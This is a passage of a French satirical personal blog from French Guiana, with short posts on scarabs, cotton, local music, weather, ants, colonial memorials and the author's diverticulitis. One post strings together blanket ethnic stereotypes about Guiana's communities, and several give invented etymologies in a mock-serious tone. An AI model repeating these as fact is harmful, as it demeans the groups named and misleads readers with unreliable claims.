  En effet, les égyptiens antiques vénéraient le scarabée sous le nom de hppr en égyptien antique qui se prononce plus aisément Kheper ou Khépri selon la hauteur du Nil et voyaient justement en lui un symbole de résurrection. Ils le plaçaient en pendentif au niveau du coeur afin qu’il intercède en faveur de cet organe au cours de l’examen terminal que passait le défunt. Il paraîtrait même que si le mort avait été un vivant détestable, on remplaçait son coeur de pierre par un scarabée qu’il puisse accéder à l’éternité. Vous vous rendez compte de la méticulosité de ces gens-là et prenez-en de la graine.

  Mais pourquoi le scarabée est-il symbole de résurrection ?

  • Le scarabée est coprophage
  • Il roule patiemment toute sa vie une grosse boule d’excrément
  • il y pond ses larves qui, ainsi, ne naissent pas dans le besoin
    

  Nous devrions méditer cette grande leçon de sagesse dans le choix que faisaient nos amis les Egyptiens de leurs symboles…

  PS : Je n’ai pas cuivré la punaise de la photo ni ne l’ai peinte en jaune sur les bords. Elle est vraiment comme ça et d’ailleurs, ce n’est même pas un scarabée.

  
• Le coton

  Ces images que nous livrons dans un but didactique à l’usage des habitants d’en deçà des Pyrénées n’apprendront rien à ceux qui vivent au-delà, c’est sûr… Enfin, tout dépend du point de vue duquel on se place, évidemment. Notre objectif, ô combien pédagogique, est de fournir quelques photographies aux collégiens qui font des recherches sur internet pour confectionner leur exposé en Sciences et Vie de la Terre en gaspillant bêtement l’encre des imprimantes du CDI aux frais des contribuables.

  

  Pour information, le « qutun » ou plutôt le « قطن » (ehcuag à etiord ed til es ebara’l euq elleppar ej – et c’est pas du chti) est introduit par les Conquérants Mahométans en Sicile et en Andalousie il y a un peu plus d’un millénaire. Auparavant, les Européens barbares de l’époque étaient à poil laineux et sentaient fort. C’est bien triste mais c’est comme ça. C’est pourquoi à l’époque,  l’expression « ça sent le Maure ! » était exclusivement méliorative et les Andalous avaient coutume de moquer les Chrétiens en disant « ça sent la biquette ! « , c’est peu dire.

  

  Nous ne recensons pas les locutions diverses telles que « jeter un mauvais coton  » ou « avoir les jambes en coton », somme toute peu intéressantes. En revanche, il faut savoir que filer cette matière nécessite une certaine dextérité notamment pour éviter les bourres et cela explique l’origine de l’expression « être bourré » : elle signifie figurativement que les neurones rencontrent lors des connections synaptiques des sortes de conglomérats végétaux dûs à l’alcool qui empêchent le cerveau d’être en prise sur la réalité. ex : Je peux conduire, je ne suis pas bourré !

  

  Surtout, ne nous remerciez pas d’avoir enrichi votre culture générale en photographiant notre jardin, c’est plus fort que nous. Merci de votre attention.

  
• Créole Samouraï

  Nous savons tous que le syncrétisme est l’avenir de l’art comme le métissage l’est de l’humanité, et c’est pas un communiste créole qui vous le dit. C’est pourquoi nul(le) ne se demandera pourquoi l’un des Kryol Samouraï du 973 porte le drapeau Kanak. A chacun(e) de prendre ses responsabilités ou d’envisager les choses avec humour comme cette vidéo.

  *

  
• Grippe porcine : humour !

  Oui, oui, oui, qui va me taxer de mauvais goût sur cette vidéo à propos de la grippe porcine ? Bon, tant pis. C’est encore de l’humour, si on veut…

  *

  
• Grave de Grave – Scout mort

  De même que le révèle le comportement du Mexicain dans les Tontons flingueurs, la distance ne permet pas toujours de suivre ce qui se passe en la Métropole ou sur ses confins. Ainsi, c’est avec presque une décennie de retard que j’apprends par le net que les Grave de Grave se rangent dans le Panthéon des Groupes que j’adore, avec anachronisme, je l’admets, puisqu’il paraît qu’ils se sont dissous. Malheur à vous, producteurs médiocres, de n’avoir pas su reconnaître le talent de nos amis :

  *

  

  *
  

  Tout le monde connaît la blague du scout mort : Qu’est-ce qui est vert et pue au fond des bois ?

  Je vous livre le texte sans faille de Grave de Grave : c’est somptueux ! Pour le son, c’est là.

  
  

  Couché dans les bois sous les arbres verts,
  Il ne fait pas froid, je suis au grand-air,
  Couché dans les bois, le soleil m’éclaire,
  Je pue sous les bras, j’m'en fous !

  Couché dans les bois, les yeux grand-ouverts,
  Je suis un peu froid, j’passerai pas l’hiver,
  Couché dans les bois, près d’une fourmilière,
  ça ne me chatouille pas du tout !

  Scout mort, je suis, je reste,
  Scout mort, en plein la sieste,
  Scout mort, dans la forêt, c’est agréable,
  Scout mort, biodégradable…

  Couché dans les bois, je pense à l’avenir,
  Je voulais être Roi, c’n'est plus qu’un souv’nir,
  Couché dans les bois, je pense à ma Mère,
  Je sais qu’j'la déçois, j’m'en fous !

  Couché dans les bois, près de la rivière,
  J’vais pouvoir pêcher, j’ai beaucoup de vers,
  Couché dans les bois, je nourris la terre,
  Et les fraises des bois, aussi.

  Scout mort, je suis, je reste,
  Scout mort, en plein la sieste,
  Scout mort, dans la forêt, c’est agréable,
  Scout mort, biodégradable…

  Scout mort !
  Scout mort !

  Avant, arrière, tu remues ton derrière…
  Avant, arrière, tu remues ton derrière…

  [le super jeu]

  Couché dans les bois, c’est « blanc et seigneur » [?]
  

  C’est la première fois et j’ai un peu peur,
  ça ne fait pas de doute, je n’aurais pas mon bac,
  J’m'en fous !

  Scout mort, je suis, je reste,
  Scout mort, en plein la sieste,
  Scout mort, dans la forêt, c’est agréable,
  Scout mort, biodégradable…

  Scout mort !
  Scout mort !

  Si ça, c’est pas du bon boulot ?

  PS : Grave de Grave, si vous me lisez, écrivez-moi !

  
• Une expo de Béatrice Camallonga

  Voilà, voilà… Evidemment, cela ne concerne que celles et ceux qui se trouveront à Nouméa :

  

  
• Une Aile au-dessus de l’îlet La Mère

  D’accord, l’Atlantique des côtes guyanaises est plutôt marron. Mais cela ne dérange ni les Kite-Surfer ni les Fondus du Parapente de l’Anse Rémire jusqu’à l’estuaire du Mahury…

  Petit entraînement sur la plage, pour attendre les potes qui se sont couchés tard, avant de rejoindre le déco :

  *
  

  

  *

  Oui, vraiment, en Guyane, on en chie…

  PS : Merci à Mathieu Champion de l’Ecole des mines d’Ales qui a bien voulu figurer sur ce blog débile…

  
• Pirogue et problème de parking

  Stanley a garé sa pirogue en bord de mangrove puis est allé faire la fête. Problème : il a oublié où il s’était garé et cela fait maintenant 15 jours que sa pirogue gêne la circulation des crabes.

  

  Stanley, si tu nous lis, sache que ta pirogue t’attend du côté opposé au port en amont du pont du Larivot. Sois sympa, viens la chercher s’il te plait, ça nous arrangerait moi et les crabes de palétuviers…

  A défaut, on la coule pour qu’elle n’éclate pas mais ne compte pas sur nous pour la renflouer !

  
• 140 caractères : Twitter

  Le débat foisonnant sur les 140 caractères de Twitter m’amuse. Pour celles et ceux qui ne seraient pas au fait, je rappelle que le twitter est une sorte de post-it inséré sur le net et qui permet à la blogueuse ou au blogueur de préciser son humeur de l’instant ou son activité immédiate, d’une manière elliptique dans un intervalle de temps amoindri à l’extrême (à destination des gens qui se connectent toutes les 10 mn pour ne rien manquer) mais rapportez-vous plutôt à ce qu’en dit mon ami David qui en sait plus long que moi. Or, le message sur twitter subit la loi draconienne d’une limitation à 140 caractères…

  

  Après tout, pourquoi pas ? Il est de bon ton depuis peu de se gausser d’un cadre aussi limité à telle enseigne qu’on se propose déjà d’écrire des romans réduits à peau de chagrin ou d’abréger les classiques à l’usage des jeunes générations. S’il est relativement facile de résumer en peu de mots un ouvrage de Marguerite Duras, en est-il de même pour Dune de Franck Herbert ? Bref, n’épiloguons pas.

  Pour sa part, la Créature des Marais souhaite attirer votre attention sur une association qui a su faire son point fort de cette contrainte alors même que le twitter n’était pas inventé : Il s’agit de l’AME, Association Missionnaire Enfants. A preuve, ce magnifique condensé de BD dont on peut regretter qu’il n’ait pas été mis en valeur au dernier festival d’Angoulême.

  

  Les enragés de la chicane pourront faire remarquer qu’on ne sait pas très bien comment Tony est arrivé de Chine à Chypre ni pourquoi on l’y a incarcéré dans une affreuse prison. D’autres encore feront de l’ironie de la pire espèce en demandant pour quelle raison le bandit s’enfuit en hurlant sans raison apparente alors que Tony n’a même pas utilisé le kung-fu. Je n’ai rien à répondre à de tels incrédules que je présuppose être masculins tant je sais les femmes empreintes de mansuétude à l’égard de ce qu’on peut appeler une certaine souplesse de la foi.

  Il vous reste une agréable possibilité de coloriage sur la seconde vignette…

  
• Aigle de Guyane

  Tellement de Guyane que cette photo a été prise sur ce qui reste de la plage de Montjoly.

  

  

  

  Et à ce sujet, je voudrais en finir avec un certain nombre de choses. Soit, en une ancienne colonie où l’esclavage a sévi, il y a des séquelles. Les métro(politains) sont toujours racistes envers les Créoles Guyanais (descendants d’esclaves dont les maîtres étaient parfois les ancêtres des premiers cités), les Brésiliens sont souvent racistes à l’égard des Amérindiens (ou plutôt, ils les méprisent), la plupart des chinois ne se mélangent avec personne (la preuve, les commerçants chinois pratiquent un sabir de français ou de créole avec des intonations fort asiatiques, même s’ils sont sur le territoire depuis 25 ans).

  Martiniquais et Guadeloupéens sont considérés comme des qui-se-la-pètent qui viennent piquer le travail des Guyanais, les Haïtiens passent pour des couillons auprès d’une bonne partie de la population, Les Dominicains n’aiment pas les Anglais (c’est ainsi qu’on appelle les gens du Guyana. NB : on les appelle aussi les Georgetoniens), les Péruviens se méfient de tout le monde, les Bushi Nenge (c’est-à-dire les Neg’marron issus de Suriname) prennent les autres qu’eux venus d’Afrique pour des tafioles, les Bretons de l’avis général sont des alcooliques (il y a sans doute du vrai).

  Les Hmongs ne s’acoquinent qu’avec les légumes, les Amérindiens se sentent bien différents du reste, quant aux Créoles Guyanais, ils n’aiment qu’eux-même et s’estiment supérieurs à tous les autres réunis quand ils sont chez eux. Je ne parle pas des Syro-Libanais dont tout le monde sait qu’ils sont antisémites. Bref, le racisme à l’instar de l’imbécillité est fort bien partagé en Guyane. C’est pourquoi la seule espèce que j’entends honorer ici pour son absence de racisme est le moustique qui s’abreuve de tous sangs confondus.

  

  

  

  Et j’en profite pour vous rappeler au passage qu’on dit un Aigle, et non un oiseau de couleur !

  PS : A celles et ceux qui ne connaissent pas la Guyane, je dois avouer que ce qui est écrit ci-dessus ne concerne que 50 % des humains résidant dans la région, ce qui laisse de la marge pour se faire des ami(e)s. Et comment c’est chez vous ?
  

  
• Créature des Marais & Polynésie

  Contrairement à ce qu’on aurait pu penser, en se rapportant à deux articles de ce blog (ici et là), la CdM aime la Guyane, même en saison des pluies, en dépit de la dengue, malgré le bouillon d’awara,  nonobstant qu’un voisin proche et malhonnête essaie de la boucaner depuis 3 ans.

  

  C’est avec un vif plaisir que le Aidez-Ouam (comité de soutien à la Créature des Marais) vous apprend que notre brave bête va prochainement migrer vers Tahiti (île la plus connue de la Polynésie française) pour son édification personnelle et afin de parfaire son savoir com-dom-tomien.

  PS : Ceci n’est pas un poisson d’avril
  

  
  

  
• Pape et Préservatif : nouveau coup de chapeau !

  Je voudrais rappeler en préambule que je respecte tous les Croyants !

  Et que ce n’est pas que je veuille m’acharner sur Benoit XVI mais c’est quand même lui qui cherche faire parler de lui en parlant de sida et de préservatif : un nouveau couvre-chef pour sa sainteté car chez les Papes, il n’y a pas de Pape à capote.
  

  

  Comme ça, si le nombre de décès liés à l’épidémie de SIDA, on saura à qui faire porter le chapeau.

  Pour les autres déguisements papaux, voir sur ce blog, Benoit XVI et ses coiffes. Merci de votre attention.

  
• Crise des DOM : le souvenir français

  A l’heure où la crise des DOM révèle enfin, à la Métropole ébahie, les légitimes ardeurs patriotiques de la Guadeloupe, la Guyane, la Martinique et la Réunion, il est à craindre bientôt que les traces du passé ne disparaissent sous la crasse.  Tous ces soldats tropicaux morts pour la France seront-ils oubliés ?

  La preuve en images :

  Une petite photo de la rue du souvenir français, hommage aux poilus guyanais tombés pour la France, commune de Rémire-Montjoly en Guyane française.

  

  Si vous voulez voir la rue en perspective, maintenez votre souris sur l’image.

  

  Pour vous aider à connaître le « souvenir français », cliquez ici (version wiki) ou là (version activiste avec des documents très intéressants comme celui-ci par exemple).

  
  

  
  

  
• Climat et Guyane: Rébus à l’usage des Guyanais(es)

  Pour l’individu très moyennement intéressé par la nature et ses cycles, la Guyane connaît en gros deux phases de climat, saison sèche, saison des pluie, avec une période située en gros au début du second tiers des six mois pluvieux. Ce qui donne donc :
  

  • de Juillet à décembre, il fait grand soleil, super chaud et super sec (enfin 75 % d’humidité minimum quand même)
  • de janvier à juin, il pleut énormément, il fait super mouillé et même parfois un peu frais par comparaison
  • de mars jusqu’à mi-avril (avec un peu de chance), de belles éclaircies durables. En forêt, il fait moite

  D’où le rébus ci-dessous (fine allusion à l’appellation locale de cette période à pluviométrie allégée) qui ne peut être résolu que par celles et ceux qui connaissent la Guyane. Pour leur faciliter la tâche, il faut d’abord penser au mot « sein » en créole puis au Dieu représenté par cette statue.
  

  

  

  
• Monde et connerie

  En Guyane, on reçoit le canard avec un peu de retard. J’ai consulté lundi un exemplaire de Le Monde. Il y avait quand même, dans deux articles consacrés à la crise antillaise, une bonne dose de connerie. Alors je leur ai fait un petit message dans le courrier des lecteurs pour les en informer. Il ne risque donc pas d’être publié dans ce fameux journal au prestige international, je le place donc ici dans ce blog à la renommée quasiment nulle mais je préviens tout de suite qu’il est sans intérêt.

  

  Bonjour,

  Votre édition du 20 janvier 2009 présente un dossier sur les événements aux Antilles. Pour ma part, je réside en Guyane et je dois vous avouer que l’article de Audrey Halford (page 17) où figure le tableau comparatif d’exemples du coût de la vie dans les DOM et en Métropole m’a laissé pantois.
  Non seulement, les prix mentionnés sont éloignés de la réalité, mais il est également hilarant qu’il y soit affirmé que le prix d’un litre de sans-plomb s’élève à 1,60 € en Guyane alors que le département a été bloqué pendant 15 jours en décembre afin que ce prix passe de 1,77 € à 1,27 € à la fin de ce même mois et n’avait pas changé à la date indiquée pour le relèvement (19 janvier 2009), pas plus qu’à ce jour.
  Je ne me risquerai pas à interpréter l’origine de cette inexactitude mais je vous laisse deviner ce qu’en pensent les « Domiens »…

  Un autre article (page 9) intitulé « Reportage » de votre envoyée spéciale à Pointe-à-Pitre, Béatrice Gurrey, est particulièrement savoureux tant dans la manière que dans le contenu. Elle y interroge « […] un petit groupe de jeunes d’une vingtaine d’années, assis sur un vieux pick-up. » aux abords de la cité Henri IV.

  Je ne résiste pas à l’amusement de vous citer quelques passages :

  En guise d’absurdité
  « Après cinq minutes, ils disent Madame , comme à l’école. Peu y sont allés. »

  En matière de grand style
  « Un petit futé avec des dreads minuscules et un visage d’ange […] » – « Un grand un peu languide […] » – « Parfois, ils expriment en termes choisis d’étranges suppliques […] » – « Leur bête noire, c’est Nicolas Sarkozy. »

  En matière de misérabilisme
  « Il n’y a pas un petit dehors qui ferait un tour de vélo. Il n’y a pas de vélo. »

  Je vous invite à aller consulter ces citations dans leur contexte (relisez notamment la splendide introduction au sujet du « […] bon roi à la poule au pot qui sponsorise ici un immense terrain de jeu pour les cafards. Il y en a des files entières dans la crasse incrustée.»), cela pourrait vous aider à comprendre pourquoi les Domiens ont parfois l’impression que de Paris, on puisse les prendre pour des imbéciles.

  Pourquoi ne pas envoyer prochainement Béatrice Gurrey en Haïti ? Elle pourrait y soigner son talent pour le pathétique.

  Cordialement,

  la CdM

  Ce n’est pas que je nie les problèmes que connaît la jeunesse guadeloupéenne mais raconté comme cela, c’est pousser le bouchon un peu loin. L’article de Béatrice Gurrey est ici.

  
• Un Amérindien Teko de Camopi mordu par un serpent

  Tout est dans le titre… Le sympathique Ghislain de Camopi qui était mon voisin de chambre lors de mon séjour à l’hôpital (lire l’article précédent) a suivi la voie habituelle.

  • Chasser de nuit sans lampe frontale
  • Marcher sur la queue d’un con de serpent
  • Réussir à rejoindre le dispensaire
  • Être évacué en hélicoptère jusqu’à l’hôpital de Cayenne
  • Se retrouver à douiller sévère en attendant de mesurer l’étendue de la nécrose

  La routine quoi…

  Il l’explique de façon elliptique dans une vidéo de très mauvaise qualité (et dont le son est très mauvais également) filmée avec mon téléphone portable.

  
• Sigmoïde et diverticule

  (NB : un nouvel article sur les diverticules avec de vraies photos et un rapport médical sont visibles ici).

  Que veut dire sigmoïde ?

  C’est un adjectif qui qualifie quelque chose en forme de Sigma. Dans le contexte de notre propos, il s’agit du côlon sigmoïde dont la pathologie se résume familièrement par le vocable de sigmoïdite. Si elle est liée à une diverticulite, on peut alors parler de sigmoïdite diverticulaire.

  Σ

  Qu’est-ce qu’une diverticulite ?

  Un peu d’étymologie, comme d’habitude. Certains affirment que le mot vient du latin classique diverticulus : chemin écarté. Je me permettrai de les contredire sans détour, ni échappatoire ou moyen détourné.

  Dans diverticulite, il y a le préfixe divers qui désigne une variété plurielle, ce que nul n’ignore. Puis le radical ticu, issu de la langue zend, qui exprime l’image d’un postérieur dont la largeur moyenne est notablement inférieure à celle du bufflon. Enfin, le suffixe lite qui classe le mot dans la catégorie des substantifs, évidemment, mais qui désigne également le fait de contraindre à l’alitement.

  Pour conclure sur le sens global du mot, on pense qu’il évoque l’idée complexe d’un alitement contraint dont la nécessité nait de plusieurs choses indéterminées au niveau d’un cul connoté par la figure sympathique du bufflon.

  

  Le vécu de la diverticulose sigmoïdale ou diverticulite sigmoïdienne

  La diverticulite, passée l’étape de l’alitement, de préférence dans l’établissement hospitalier le plus proche, vous confronte à un chirurgien qui vous propose trois possibilités.

  • Il procède à chaud et à l’ablation du sigmoïde. Conséquence : un anus externe sous l’espèce d’une poche à caca que vous portez en bandoulière et qui s’emplit à partir d’un tuyau qui vous sort du nombril. Le nec plus ultra de l’élégance…

  • Il réussit à la jouer en interne et vous bénéficiez dans ce cas de l’offre exceptionnelle d’un anus plastique placé au bon endroit. En supplément, des embouts adaptables pour démouler des cakes aux formes originales.

  • Il vous met sous perfusion et vous gave d’un triolisme d’antibiotiques à spectre extra-large (du cul), avec un coup de morphine pour tenir le coup la nuit, en espérant réduire l’infection à bon compte.

  Pour ma part, j’ai choisi l’option n°3 et jusqu’ici, ça va. La preuve, je suis là, chez moi aujourd’hui, devant mon clavier et de poche à caca point.

  

  Comment éviter de choper cette connerie ?

  En cessant de faire de faire le con. En ce qui me concerne, je ne comprends absolument pas pourquoi cela a pu m’arriver nonobstant que je sois peut-être représentatif des comportements à risque :

  · L’alimentation déséquilibrée : riche en graisses animales et pauvre en fibres

  · La sédentarité et l’obésité

  · L’alcool

  · Le tabac

  Avec une certaine mauvaise foi, je maintiens que c’est pur hasard si cette inflammation douloureuse a pu me conduire aux urgences et aux alternatives exposées dans le chapitre précédent. Le destin est un chameau aveugle.

  

  Que faudra-t-il faire ensuite ?

  Trois fois rien, continuer le traitement par voie buccale, manger de la nourriture sans résidus pendant trois semaines puis en venir à un régime strict exclusivement composé de pain complet, de poireaux et de haricots verts. Au bout de six semaines, une micro caméra explore votre intimité par la voie idoine, c’est-à-dire la plus courte, et l’on peut à ce moment décider s’il faut vous raccourcir le boyau à froid.

  Quels sont les avantages de cette opération ?

  Vous pouvez vous remettre à bâfrer des frites, engloutir des hamburgers suintant la mayonnaise en éclusant des bocks de Guinness d’un litre et demi sans vous perforer l’intestin dans l’immédiat.

  Vous pouvez aussi, à l’issue de l’intervention, récupérer la section ôtée, la laver soigneusement, faire un nœud à l’un des bout. Vous obtiendrez un préservatif réutilisable qui fera la joie des vaginales comme des clitoridiennes et, d’une manière générale, de toutes les personnes qui ont l’anus sensible. Merci de votre attention.

  

  
• Carnaval, Kourou & Rumeurs

  Enfants, ne croyez rien de ce qui est écrit ici.

  [La Créature des Marais soutient la Protection de l'Enfance sur Internet. Elle souhaite qu'à l'avenir ce mouvement s'étende également aux adultes. Merci!]

  La grande parade du littoral à Kourou est superbement métissée à tel point que la créature y passe inaperçue. Je me permets de faire une remarque innocente : elle commence à l’heure, ce qui perturbe mes habitudes locales.

  On prétend que le défilé y est plus décontracté qu’en la capitale de sorte que, par contiguïté au sens médical du terme,  les personnes pressées et fluctuantes au sein du public s’abordent, se confondent, s’immiscent et se bousculent avec la plus grande des courtoisies. Et c’est vrai.

  Le danger est ailleurs et tout ce que la Guyane possède de violence moderne semble s’être déplacé au coeur même de l’événement. Voir ci-dessous la photographie exportée d’une bande vidéo :

  

  Cette malheureuse qui s’est jointe au cortège ignore qu’un insecte monstrueux s’apprête à la croquer jusqu’au sternum. Et – regardez bien ! – Le public reste impassible.  Rien, personne, pas un ou une qui ne l’ait prévenue. C’est horrible. Je me suis refusé à diffuser les images-caméra mais si vous laissez un commentaire prouvant votre moralité, éventuellement, je vous les envoie par mail de façon confidentielle. Ce qui vous prouvera qu’il faut se méfier des rumeurs. La Grande Parade à Kourou, c’est super sympa !

  
• Message à Charles Darwin

  

  C’est ton anniversaire, c’est pas celui d’ta mère !

  
• Du négationnisme au révisionnisme

  Je vais encore me faire des ami(e)s sur place parmi celles et ceux qui ne comprendront pas, tant pis… En préambule, je veux dire mon attachement et mon admiration pour le premier grand slam(m)eur du monde : Léon-Gontran Damas. Soit, il n’est pas encore reconnu comme tel et d’autres auront bon dos de citer Linton Kwesi Johnson ou Serge Gainsbourg, bien postérieurs, qui font tout autant mon admiration d’où découle un attachement égal.
  Damas, en Guyane, c’est le nom d’un lycée et, depuis peu, du rond-point qui y mène. J’ai  intitulé ce post « du négationnisme au révisionnisme » parce que j’ai été frappé par deux actes concomitants qui viennent s’agréger à  l’action très symbolique de rebaptiser le dit rond-point.
  D’après moi (enfin pour celles et ceux qui me suivent), l’esclavage à l’instar du génocide laisse une empreinte indélébile dans l’esprit des descendants. Qu’un maire issu du Front National débaptise les rues portant le nom de résistants communistes, que les jeunes de Tel Aviv puissent arborer les bottines Nazi (super fashion) ou un Robert Faurisson prétendre qu’à Sobibor, Treblinka, Chelmno, Belzk, Madjanek et Auswitch-Birkenau, les fours servaient à cuire des gâteaux, bon , passe encore.  Brassens a fait une chanson à ce sujet : Quand on est con, on est con. Tautologie sublime en laquelle se confondent des pensées si  diverses et des gens si étranges que je conçois l’ensemble comme un amalgame indigeste.
  

  

  Voici l’annonce faite aux usagers (non par les autorités mais par des particuliers – celles-ci étant post-coloniales, ceux-ci  néo-indépendantistes) de la prochaine érection d’un monument dédié aux Nègres Marron. Si on a cru identifier E.T. en haut à gauche de l’image, c’est du pur et simple racisme.
  

  

  Après ce grand mouvement pour la réparation internationale, l’inauguration officielle avec une statue confectionnée par un artiste  surinamais et fondue en République Démocratique de la Chine : Allez un peu d’humour. Sur cette seconde photographie, des  esclaves déchaînés (hi, hi,hi), dont l’une envoie un poulet à EDF tandis que l’autre se tourne vers l’éclairage public, la hi-fi, la wifi et  tout ce qui s’ensuit, et fêtent dans un grand élan ce qui ne fut jamais  : les Nègres Marrons se libérant eux-mêmes en Guyane française.  Je ne dis pas ça pour rigoler. Ils furent 15 000 ou plus à trimer à coups de trique dans cette belle colonie mais le nombre des  marrons ne s’élève qu’à 400 qui n’étaient pas en synergie et, à moins de vouloir réviser l’histoire, ils ne furent pas à l’origine d’une libération générale.

  Honni soit qui mal y pense. J’aime la négritude jusqu’à m’être métissé. Mais si on a plus le droit de dire ce qu’on pense… Voilà  pourquoi les clichés suivants témoignent selon moi d’un certain négationnisme voire de révisionnisme.
  

  

  Avant le carrefour Vidal s’appelait bêtement le carrefour Vidal, du nom d’une habitation proche achetée par la famille Vidal en 1800,  l’on y exploitait quelques 300 esclaves jusqu’à la seconde abolition. Le Lycée qui jouxte cet ancien domaine a porté le nom de  l’habitation voisine jusqu’à ce qu’on le nomme Lycée Damas. Aujourd’hui encore et je me marre, la plupart des gens de plus de 40  ans disent « carrefour Vidal » pour le rond-point Damas et « Lycée Vidal » pour le Lycée Léon-Gontran Damas. Qui sait pourquoi ?
  Ce qui est sûr, c’est que ça ne devait pas faire bien sur les photos qu’un toucan (symbole de curiosité touristique en Guyane) signale ce vestige d’une époque qu’on voudrait oublier.
  

  

  Peut-être pire : notre Président de Région, Antoine Karam, comme le billard à palets du même nom, est sans doute d’origine syrienne (ou peut-être libanaise, je ne sais plus). Aurait-il, lui aussi, voulu imposer le rappel glorieux de la domination syrienne sur la Guyane française vers 5500 av. JC en privilégiant une dénomination sous forme d’allusion sans équivoque à la ville-patrie de ses ancêtres ?

  

  Impossible d’être sérieux quand tant d’autres le sont. C’est à présent au tour de l’aéroport Rochambeau sur le même rond-point d’être oblitéré à tel point que des esprits méchants pourraient penser que l’avion de la pancarte signifie que le pénitencier gagnerait en confort si l’on expulsait illico tous les étrangers qui sont cause de la surpopulation carcérale. Ce sont les Etats-Uniens du Nord qui ont construit la piste pendant la WW2 et, comme vers 1781, un certain Jean-Baptiste Donatien Rochambeau, Lieutenant-Général, aida Washington puis La Fayette à foutre une taule à Cornwallis, on décida (mais qui ?) de lui rendre hommage sous forme d’aéroport (il y a aussi un train de banlieue qui s’appelle Joe Strummer à Londres, comme quoi on n’y peut rien). Il est vrai que son fils ne s’est pas distingué en Haïti, vingt ans plus tard, quand il introduisit des dogues de Cuba spécialement dressés à bouffer du Nègre Marron (on y revient).

  Alors, j’en viens enfin à ma question : Pourquoi y-a-t-il une effigie double en l’honneur des victimes apparemment triomphantes d’un détestable colonialisme si l’on cherche à en faire disparaître la moindre trace ?

  Message perso : je signale à Odile (qui me fait la faveur de me parcourir) qu’il vaudrait mieux éviter le lien vers un site fameux, ça ferait des histoires…

  
  PPS : Un truc qui m’a toujours amusé en Guyane française, c’est qu’on donne des noms d’école à des personnes de valeur mais toujours vivantes…

  
• Aï, aï, aï, trop paresseux…

  Et en effet, l’Aï, autrement nommé le Paresseux, est bien ce mammifère arboricole qui m’inspire aujourd’hui car je suis pris d’un gros coup de flemme. Conséquemment, la photo assez ratée, ci-dessous, est de moi dans tous les sens du terme, la fainéantise devait m’accabler ce jour-là…

  

  Heureusement, grâce à internet, il suffit de faire des liens ou de copier-coller. Voici donc une jolie page avec de très belles photos de notre ami le paresseux et tout ce vous voulez savoir sur lui où l’on apprend qu’il est le cousin du koala (salut Gwehen) et du tatou (salut Clara blue) et ces quelques précisions étymologiques de l’excellent CNRTL : Étymol. et Hist. Fin xviii^e s. en appos. (Boutanquoi, Souvenirs de Marie-Victoire Monnard, 1777-1802, p. 36 ds Brunot t. 10, p. 226 : elle avait le caractère « flemme »); 1821 subst. fém. flème qualifié de ,,barbarisme«  (J.C.L.P. Desgranges, Petit dict. du peuple à l’usage des quatre cinquièmes de la France, p. 45); 1828-29 batteur de flemme « désœuvré » (Vidocq, Mém., t. 3, p. 180). Empr. à l’ital. flemma « lenteur, placidité » (dep. xvi^e s., Tansillo ds Batt.), d’abord « l’une des quatre humeurs fondamentales de l’organisme » (dep. xiii^e s., Brunetto Latini, ibid.), de même orig. que flegme*.

  Eh oui, l’une des quatre humeurs fondamentales de l’organisme… Peut-être la plus sympathique.
  

  
• Skype : Payer au moi

  Un rien m’amuse… Certes, l’actualisation du blog n’était pas ma préoccupation dominante ces temps derniers, mais quand je tombe sur des détails comme celui-ci, je ne puis m’empêcher de me gausser. Pardon !

  Toujours est-il que Skype prétend soit rémunérer un certain Monsieur Fur à Mesure, soit vous payer directement pour les appels que vous avez le bonheur de passer par son entremise. J’opte pour la seconde proposition.

  

  Appeler des téléphones avec Skype ?

  Alors, ça oui, c’est de l’utilisation équitable !

  
• Autres blogs

  Mon ami David -brillant humoriste et marin- a décidé de lancer une chaîne, je vous invite à aller lire son article.

  Et puis aussi, mon ami Franck – brillant graphiste et animateur 3D – vient d’ouvrir un blog qu’il ne faut pas manquer d’aller voir.

  Consultez, vous comprendrez…
  

  
• Fourmis de Guyane

  Il existe un tel nombre d’espèces de fourmis en Guyane que la pauvre créature des marais serait bien en peine de vous parler avec une connaissance exacte, et assortie des noms savants, de ces foutues bestioles. On se contentera donc des noms locaux. Parmi celles que je croise quotidiennement, ma préférée est la « fourmi fou ». La fourmi-fou ou fourmi-sucre adore les habitations humaines et nous cohabitons : Quand je sucre mon café, il en surnage toujours deux ou trois à la surface de mon dopant matinal. Je les supe sans vergogne. Elle est minuscule et progresse soit en tournoyant pour déceler la moindre bribe de nourriture, soit en file indienne avec ses copines, une fois qu’elle a trouvé de quoi subsister. Elles s’assemblent alors autour de la manne.

  

  Ci-dessus, des orpailleurs brésiliens dont les âmes (par la vertu de la métempsychose) ont transmigré dans le corps de fourmi-fou et qui viennent de faire la découverte de leur vie (précédente). Mais celle-ci ne leur servira de rien sous leur forme actuelle…

  Une autre fourmi – mais elle, embêtante – c’est la fourmi manioc qui bouffe toutes nos plantes à sève généreuse et s’en vont également en file indienne en maintenant au-dessus de leur tête les morceaux de feuilles qu’elles ont découpées de leurs mandibules pour nourrir le champignon qui les nourrit en retour. Fort heureusement, il suffit de répandre des graines d’un produit brésilien au nom sinistre – le blitz – que les fourmis-manioc ramènent dans leur fourmilière (qui peut atteindre une circonférence de 100 mètres) jusqu’au champignon (basidiomycète). De la sorte, le champignon meurt et les fourmis-manioc déménagent chez les voisins.

  

  Désolé pour cette photo pourrie : je ferai mieux la prochaine fois. Photo suivante, le Blitz.

  

  Une autre des ces charmants hyménoptère est connue sous la dénomination de fourmi rouge. C’est une belle saloperie qui, elle, est omnivore. La preuve en est faite dans Lucky Luke de Morris et Goscinny quand les indiens choisissent d’enduire leur victime de miel afin de la livrer à ces douces petites bêtes. Tout arpenteur de surface verte intertropicale les a inévitablement rencontrées. Elles grimpent subrepticement sur les pieds et les mollets et synchronisent le moment où elles crachent leur jet d’acide formique au grand désagrément de l’humain auquel appartiennent les parties anatomiques susmentionnées. Les chiens et les chats ont intérêt à se hâter d’avaler le contenu de la gamelle avant que les fourmis rouges viennent leur en disputer les miettes, sinon gare à la truffe.

  Un petit souvenir du côté de l’Oyapock, un soir où je sortis ma poubelle à roulettes hors du jardin : je n’avais pas vu qu’elle en était couverte, la belle Eugénie (oui, j’appelle ma poubelle, Eugénie). Je m’en suis secoué les doigts…

  Il y a d’autres espèces de taille plus remarquable et je ne vous raconterai pas une fois en forêt où j’eus le malheur de marcher pieds-nus sur une fourmi flamme ou fourmi flamand dont la morsure m’a fait jurer pendant une heure ou deux malgré quelques rasades de boisson locale antalgique titrant 50 °.

  Cependant, il y a une consolation pour nous, humains : c’est que les fourmis ne se font pas de cadeaux. Pour exemple, la photo suivante.

  
  

  

  Merci de votre attention.
  

  
